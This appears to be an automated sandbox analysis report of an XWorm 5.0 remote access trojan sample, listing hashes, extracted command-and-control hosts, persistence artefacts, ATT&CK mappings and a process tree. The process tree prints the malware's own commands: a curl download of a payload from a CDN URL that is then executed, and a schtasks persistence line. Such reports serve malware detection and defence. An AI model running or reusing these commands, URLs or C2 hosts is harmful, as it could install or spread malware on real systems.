xworm | af67708e9be6571551147ff1840a555cadd1ea0150a91001e00904a8cc7881b6

General

Target

XenarWare.exe
Size

59KB
MD5

88f95b4a2d5af8ee7893a11abecb6ace
SHA1

5c349881da20c6ad25d7eabeaa41d1ae2d2ad8f2
SHA256

af67708e9be6571551147ff1840a555cadd1ea0150a91001e00904a8cc7881b6
SHA512

996fb4ec5a81648a2e5b706d95185b0ae73c65744a146e70bf06db076882474fc677a9095430ecbda108cbc6357ae3de4a1407eafd3a7a9e915f11476eaa0c20
SSDEEP

1536:ZrPJVKjbcknWSOYvTfkWkFM79yQVo5hWyZM+c:ZLJMjbcHDdMwQKDW7

Score

10^/10

xworm persistence rat trojan upx

Malware Config

Extracted

Family

xworm

Version

5.0

C2

127.0.0.1:23638

209.25.140.1:5525:23638

bring-recorder.gl.at.ply.gg:23638

action-yesterday.gl.at.ply.gg:23638

147.185.221.19:23638

then-wheel.gl.at.ply.gg::23638

then-wheel.gl.at.ply.gg:23638

teen-modes.gl.at.ply.gg:23638

Mutex

sk3UbSOs3RzNpgph

Attributes

Install_directory
%LocalAppData%
install_file
uwumonster.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x00070000000233e6-5.dat	family_xworm
behavioral2/memory/4320-7-0x0000000000B50000-0x0000000000B60000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\Control Panel\International\Geo\Nation	yar.wow

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\uwumonster.lnk	yar.wow
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\uwumonster.lnk	yar.wow

Executes dropped EXE 4 IoCs

pid	Process
4320	yar.wow
2012	uwumonster.exe
5040	uwumonster.exe
4336	uwumonster.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1312-0-0x0000000140000000-0x0000000140028000-memory.dmp	upx
behavioral2/memory/1312-14-0x0000000140000000-0x0000000140028000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4084619521-2220719027-1909462854-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\uwumonster = "C:\\Users\\Admin\\AppData\\Local\\uwumonster.exe"	yar.wow

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5008	schtasks.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4320	yar.wow
Token: SeDebugPrivilege	4320	yar.wow
Token: SeDebugPrivilege	2012	uwumonster.exe
Token: SeDebugPrivilege	5040	uwumonster.exe
Token: SeDebugPrivilege	4336	uwumonster.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1312 wrote to memory of 2108	1312	XenarWare.exe	85
PID 1312 wrote to memory of 2108	1312	XenarWare.exe	85
PID 2108 wrote to memory of 1404	2108	cmd.exe	86
PID 2108 wrote to memory of 1404	2108	cmd.exe	86
PID 2108 wrote to memory of 888	2108	cmd.exe	87
PID 2108 wrote to memory of 888	2108	cmd.exe	87
PID 2108 wrote to memory of 4320	2108	cmd.exe	92
PID 2108 wrote to memory of 4320	2108	cmd.exe	92
PID 4320 wrote to memory of 5008	4320	yar.wow	95
PID 4320 wrote to memory of 5008	4320	yar.wow	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XenarWare.exe
"C:\Users\Admin\AppData\Local\Temp\XenarWare.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1312
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\2896.tmp\2897.tmp\2898.bat C:\Users\Admin\AppData\Local\Temp\XenarWare.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2108
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:1404
- - C:\Windows\system32\curl.exe
    curl https://cdn.glitch.global/52845225-8ba1-4c7a-8921-b35d932319d9/yar.mp4?v=1713321691381 --output "C:\Users\Admin\AppData\Local\yar.wow"
    3⤵
    PID:888
- - C:\Users\Admin\AppData\Local\yar.wow
    C:\Users\Admin\AppData\Local\yar.wow
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4320
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "uwumonster" /tr "C:\Users\Admin\AppData\Local\uwumonster.exe"
      4⤵
      Creates scheduled task(s)
      PID:5008

C:\Users\Admin\AppData\Local\uwumonster.exe
C:\Users\Admin\AppData\Local\uwumonster.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2012

C:\Users\Admin\AppData\Local\uwumonster.exe
C:\Users\Admin\AppData\Local\uwumonster.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5040

C:\Users\Admin\AppData\Local\uwumonster.exe
C:\Users\Admin\AppData\Local\uwumonster.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\uwumonster.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Temp\2896.tmp\2897.tmp\2898.bat

Filesize
2KB

MD5
51737caef60bc780cc1493e2a402ecfa

SHA1
26939c4fcc49b780ad4ef1023e8b12714417d0d5

SHA256
83897f7fd4fcf3800460c570c15546f40dd62ce6d4859c6cb60573c2e9afb1de

SHA512
0191edf228646a36dbda406000f717056c3b0227a9c233906b99b378a3ee09173caa3f2a68ced100028ae07e8931868d44368e5d77f24cd7dee9a73f6dedd6a5

Download Submit
C:\Users\Admin\AppData\Local\yar.wow

Filesize
36KB

MD5
830cb7605a79c2b4de44073684b0ea84

SHA1
d06b0b2cbf859612122c53e170ad96ac75dade04

SHA256
75d1a4db620da708121fa7496cbf73b32c45d3c521c2f5fa4c86acc93ba65df8

SHA512
9a0747aa726a76d123134d393eacce76651d3ecf6b6ec53c415f48ee00f890018eb391bfb425a4491ae2fc055fc16695d656589ebdd69d68b54d35b2883ba321

Download Submit
memory/1312-0-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/1312-14-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/2012-22-0x00007FFA6D9F0000-0x00007FFA6E4B1000-memory.dmp

Filesize
10.8MB

Download
memory/2012-20-0x00007FFA6D9F0000-0x00007FFA6E4B1000-memory.dmp

Filesize
10.8MB

Download
memory/4320-19-0x000000001B710000-0x000000001B720000-memory.dmp

Filesize
64KB

Download
memory/4320-16-0x00007FFA6D9F0000-0x00007FFA6E4B1000-memory.dmp

Filesize
10.8MB

Download
memory/4320-13-0x000000001B710000-0x000000001B720000-memory.dmp

Filesize
64KB

Download
memory/4320-8-0x00007FFA6D9F0000-0x00007FFA6E4B1000-memory.dmp

Filesize
10.8MB

Download
memory/4320-7-0x0000000000B50000-0x0000000000B60000-memory.dmp

Filesize
64KB

Download
memory/4336-41-0x00007FFA6D9F0000-0x00007FFA6E4B1000-memory.dmp

Filesize
10.8MB

Download
memory/4336-42-0x00007FFA6D9F0000-0x00007FFA6E4B1000-memory.dmp

Filesize
10.8MB

Download
memory/5040-32-0x00007FFA6D9F0000-0x00007FFA6E4B1000-memory.dmp

Filesize
10.8MB

Download
memory/5040-33-0x00007FFA6D9F0000-0x00007FFA6E4B1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads